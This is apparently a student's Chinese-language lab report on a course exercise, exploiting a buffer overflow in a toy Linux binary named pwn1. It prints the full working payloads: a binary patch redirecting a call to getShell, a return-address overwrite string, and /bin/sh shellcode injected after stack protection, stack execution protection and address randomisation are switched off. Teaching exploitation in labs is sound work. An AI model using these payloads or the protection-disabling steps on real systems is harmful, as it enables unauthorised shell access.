• 20192422李俊洁 实验一 逆向破解与BOF


    一.逆向及Bof基础实践说明

    1本次实践的对象是一个名为pwn1的linux可执行文件。

    注:pwn1更名为ljj

    1 实践内容

    (1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    (2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    (3)注入一个自己制作的shellcode并运行这段shellcode。

    2 基础知识以及准备

    笔记本一台

    虚拟机

    相关linux操作指令

    二.实验过程

    任务1 直接修改程序机器指令,改变程序执行流程

    输入 objdump -d ljj | more

    找到函数main,关于调用foo机器指令为“e8d7ffff”

    我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,对应补码为c3ffffff

    输入 cp ljj ljj1

    输入 vi pwn2;进人编辑,修改对应地址后,反汇编,可以看出all指令正确调用getShell

    输入 objdump -d ljj1 | more

    运行 ./ljj1ls

    可见shell提示符

    任务2 通过构造输入参数,造成BOF攻击,改变程序执行流

    输入 objdump -d pwn1 | more,找到getshell即为本次目标。

    输入 gdb ljj(确认输入字符串哪几个字符会覆盖到返回地址)


    由上图分析可知:如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给ljj,ljj就会运行getShell。

    我们已知getshell内存地址为0804847d,下一步就是确定字节序。即是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

    输入 break *0x804849d

    输入 info break

    输入 r

    输入 info r

    确定应该输入11111111222222223333333344444444\x7d\x84\x04\x08

    编写一个文件,生成上面的字符串。

    输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    接着,将input的输入,通过管道符“|”,作为ljj的输入。

    输入 (cat input; cat) | ./ljjls,可见shell提示符

    任务3 注入Shellcode并执行

    准备一段Shellcode,本次实验我使用的为“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\”

    以下为准备工作,即

    (1)关闭堆栈保护(gcc -fno-stack-protector)

    (2)关闭堆栈执行保护(execstack -s)

    (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

    输入 execstack -s ljj

    输入 execstack -q ljj

    输入 more /proc/sys/kernel/randomize_va_space

    输入 echo "0" > /proc/sys/kernel/randomize_va_space

    输入 more /proc/sys/kernel/randomize_va_space

    紧接着构造要注入的payload,结构为:anything+retaddr+nops+shellcode

    输入 perl -e 'print "A" x32;

    print"\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\x

    ff\x00"' > input_shellcode

    接着我们打开另一个终端

    输入(cat input_shellcode;cat) | ./ljj

    输入ps -ef | grep ljj,找到进程号为“10065”

    接着输入gdb,调试该进程

    输入disassemble foo//查看注入buf的内存地址,可见断点在“0x080484ae”

    输入break *0x080484ae

    输入info r esp/找到地址为0xffffd4bc

    输入x/16x 0xffffd4bc,找到返回地址

    可见返回地址为 0xffffd4c0

    将返回地址改为 0xffffd4c0。

    输入 perl -e 'print "A" x 32;print

    "\xc0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x0

    0"' > input_shellcode

    输入 (cat input_shellcode;cat) | ./ljj

    可见shell提示符

    到此,本次实验基本已经完成

    三.实验中遇见的问题

    1.本次实验中,关于运行.py权限不够的问题

    解决办法:通过查询,知道了需要赋予权限,即chmod +x .py

    2.本次实验中,因为找不到execstack,需要安装prelink,输入apt-get install prelink,结果无法定位软件包。

    解决办法:直接通过wget+相关链接获取。

    3.关于任务3返回地址,一开始我输入的为“0xffffd4bc”,结果实验失败

    解决办法:我忘记了需要加上前4个字节,所以正确的地址应该为“0xffffd4c0”

    四.实验感想

    通过本次实验,我不仅了解到了不少关于linux的相关操作指令,同时对于逆向及Bof有了一些简单的了解。学会了怎样利用foo函数的Bof漏洞,或者是通过直接修改,进而触发shell函数;同时关于自定义shellcode并运行的过程有了印象深刻的了解。

    本次实验令我受益匪浅,感谢老师的指导以及同学的帮助,期待下一次实验。

  • 相关阅读:
    C#代码动态编译、动态执行、动态调试
    php’s explode() 函数
    exec函数族
    在C语言中执行shell命令
    dmesg简介
    错误输出
    php’s json_decode函数
    使expect脚本传回返回值
    php’s fgets() 函数
    统计当前目录下的所有文件目录大小,不显示子目录与子文件
  • 原文地址:https://www.cnblogs.com/dahuangren/p/16060603.html
Copyright © 2020-2023  润新知